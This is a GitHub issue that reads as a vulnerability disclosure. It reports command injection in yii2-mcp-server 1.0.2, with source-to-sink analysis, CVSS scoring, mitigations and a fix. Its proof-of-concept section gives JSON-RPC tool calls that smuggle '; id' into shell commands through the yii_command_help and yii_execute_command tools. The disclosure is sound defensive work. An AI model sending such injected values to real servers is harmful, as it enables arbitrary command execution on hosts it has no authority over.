New issue

Command Injection Vulnerability in yii2-mcp-server #3

Open

BruceJqs opened 2 weeks ago · edited by BruceJqs Edits

Command Injection Vulnerability in yii2-mcp-server

1) CNA / Submission Type

- Submission type: Report a vulnerability (CVE ID request)
- Reporter role: Independent security researcher
- Report date: Apr 15, 2026

2) Reporter Contact

- Reporter name: `BruceJin`
- Reporter email: `brucejin@zju.edu.cn`
- Permission to share contact with vendor: `Yes`

3) Vendor / Product Identification

- Vendor: ArtMin96
- Product: yii2-mcp-server
- Repository: https://github.com/ArtMin96/yii2-mcp-server
- Affected component(s):
- `src/index.ts`
- `src/yii2.ts`

4) Vulnerability Type

- CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- Short title: Command injection in Yii2 MCP command helpers

5) Affected Versions

- Confirmed affected: 1.0.2
- Suspected affected range: versions containing the same MCP request-to-shell-command flows listed below
- Fixed version: Not available at time of report

6) Vulnerability Description

A command injection vulnerability (CWE-78) has been identified in yii2-mcp-server version 1.0.2, specifically within the yii_command_help and yii_execute_command MCP tools. The server constructs shell command strings by concatenating user-supplied arguments (e.g., command and args) directly into a php yii command line and executes them via child_process.exec without proper escaping or argument-vector separation. An attacker with network access to the MCP interface can inject shell metacharacters (e.g., ; id) to execute arbitrary operating system commands with the privileges of the server process, leading to full host compromise, including data exposure, integrity loss, and service disruption. No fixed version is available at the time of reporting.

7) Technical Root Cause

1. `yii_command_help` command injection
    - Source: `src/index.ts:1144` (`CallToolRequestSchema` handler receives MCP request)
    - Source propagation: `src/index.ts:1166`
    - Source propagation code: `return await this.yii2Manager.getCommandHelp(args?.command as string);`
    - Sink: `src/yii2.ts:169`
    - Sink code: `execAsync(`php "${this.yiiScript}" help ${command}`, { ... })`
2. `yii_execute_command` command injection
    - Source: `src/index.ts:1144` (`CallToolRequestSchema` handler receives MCP request)
    - Source propagation: `src/index.ts:1169`
    - Source propagation code: `return await this.yii2Manager.executeCommand(...)`
    - Command construction: `src/yii2.ts:206`
    - Command construction code: `const fullCommand = `php "${this.yiiScript}" ${command} ${args.join(' ')}`.trim();`

- Sink: `src/yii2.ts:219`
- Sink code: `const { stdout, stderr } = await execAsync(fullCommand, { ... });`

3. Additional command-string sinks using the same unsafe pattern

- `src/yii2.ts:1424` (`createMigration`)
- `src/yii2.ts:1562` (`generateCrud`)
- `src/yii2.ts:1598` (`generateModel`)
- `src/yii2.ts:2195` (`tailLogs`)

8) Attack Prerequisites

- Attacker can invoke MCP tools exposed by `yii2-mcp-server`.
- The server is started from a Yii2 project root or otherwise has a valid `yii` script in its configured working directory.
- Database configuration is loaded, for example from `.env` or `config/db.php`, so the MCP server completes initialization.
- The host has a shell and PHP CLI available, as expected by the affected server.

9) Proof of Concept / Reproduction Guidance

This proof of concept executes the `id` command through the `yii_command_help` MCP tool without writing files.

1. Start the MCP server from a Yii2 project root containing a `yii` script and database configuration.

2. Send the following MCP request:

```
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "yii_command_help",
    "arguments": {
      "command": "migrate/status; id"
    }
  }
}
```

3. Expected result

- The server first runs the intended `php "<yiiScript>" help migrate/status` command.
- The injected `id` command is then executed by the shell.
- The MCP response contains output similar to:

```
uid=501(...) gid=20(...) groups=...
```

4. Alternative affected tool

```
{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/call",
  "params": {
    "name": "yii_execute_command",
    "arguments": {
      "command": "help",
      "args": ["migrate/status;", "id"],
      "interactive": false
    }
  }
}
```

10) Security Impact

- Confidentiality: High. Attackers can execute commands that read environment variables, application secrets, source code, database credentials, and local files accessible to the MCP server process.
- Integrity: High. Attackers can modify files, application state, or run Yii console commands beyond the intended tool behavior.
- Availability: High. Attackers can terminate processes, delete writable data, exhaust resources, or otherwise disrupt the host and application.
- Scope: Unchanged.

11) CVSS v3.1 Suggestion

- Suggested vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
- Suggested base score: 8.8 (High)
- If the MCP server is exposed without authentication or can be invoked by untrusted clients, consider `PR:N`, which increases severity to Critical.

12) Workarounds / Mitigations

- Restrict MCP server access to trusted users and trusted local MCP clients only.
- Run the MCP server under a dedicated low-privilege account.
- Disable command-execution-oriented tools such as `yii_command_help`, `yii_execute_command`, code generation, cache, RBAC, queue, log tailing, and test execution tools until patched.
- Avoid exposing the MCP server over network transports to untrusted users.

13) Recommended Fix

- Do not build shell command strings with untrusted input.
- Replace `exec` / `execAsync` with `execFile` or `spawn` using an argument array, for example `spawn('php', [this.yiiScript, 'help', command], { shell: false })`.
- Validate `command` and `args` against an allowlist of expected Yii command names and option formats.
- Reject shell metacharacters and unsupported arguments at the MCP schema boundary.
- Apply the same safe execution pattern to all helper methods currently constructing shell strings.
- Add regression tests proving payloads such as `migrate/status; id`, command substitution, pipes, and redirection are not executed by the shell.

14) References

- Repository: https://github.com/ArtMin96/yii2-mcp-server
- Reviewed source file: `src/index.ts`
- Reviewed source file: `src/yii2.ts`
- CWE-78: https://cwe.mitre.org/data/definitions/78.html

15) Credits

- Discoverer: `BruceJin`
- Discovery method: Static analysis (CodeQL), source-code audit, and dynamic reproduction

16) Additional Notes for Form Mapping

- Audit verdict: Exploitable: attacker-controlled MCP request parameters reach shell command execution sinks.
- Dynamic exploit replay status: Completed successfully with direct `id` command execution.
- Primary vulnerable tool: `yii_command_help`
- Additional affected tools: `yii_execute_command`, `yii_create_migration`, `yii_generate_crud`, `yii_generate_model`, `yii_tail_logs`, and other helpers that concatenate MCP parameters into `execAsync` command strings.
- Maintainer should validate release mapping before coordinated disclosure.

For furthermore information, please refer to BruceJqs/public_exp#29

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants